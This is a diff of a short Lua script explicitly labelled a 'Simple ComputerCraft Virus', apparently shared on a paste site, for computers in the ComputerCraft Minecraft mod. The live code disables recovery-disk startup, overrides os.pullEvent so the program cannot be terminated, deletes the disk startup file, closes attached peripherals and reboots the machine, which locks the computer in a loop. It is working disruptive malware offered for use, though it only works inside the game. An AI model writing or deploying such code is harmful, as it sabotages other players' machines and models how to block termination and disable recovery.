SHOW:
|
|
- or go back to the newest paste.
| 1 | -- Simple ComputerCraft Virus | |
| 2 | - | local fB=true |
| 2 | + | --local fB=true |
| 3 | - | function fA() |
| 3 | + | --function fA() |
| 4 | - | while(fB) do |
| 4 | + | -- while(fB) do |
| 5 | - | fs.delete("disk/startup")
|
| 5 | + | -- fs.delete("disk/startup")
|
| 6 | - | end |
| 6 | + | -- end |
| 7 | --end | |
| 8 | if settings then | |
| 9 | settings.set("shell.allow_disk_startup",false) --disables functionality of recovery discs DOT
| |
| 10 | end | |
| 11 | os.pullEvent=os.pullEventRaw | |
| 12 | fs.delete("disk/startup")
| |
| 13 | pcall(peripheral.call, "left","close") | |
| 14 | pcall(peripheral.call, "right","close") | |
| 15 | pcall(peripheral.call, "top","close") | |
| 16 | pcall(peripheral.call, "bottom","close") | |
| 17 | - | coroutine.create(fA) |
| 17 | + | |
| 18 | pcall(peripheral.call, "back","close") | |
| 19 | - | kiki=fB |
| 19 | + | |
| 20 | --coroutine.create(fA) | |
| 21 | sleep(3) | |
| 22 | --kiki=fB | |
| 23 | os.reboot() |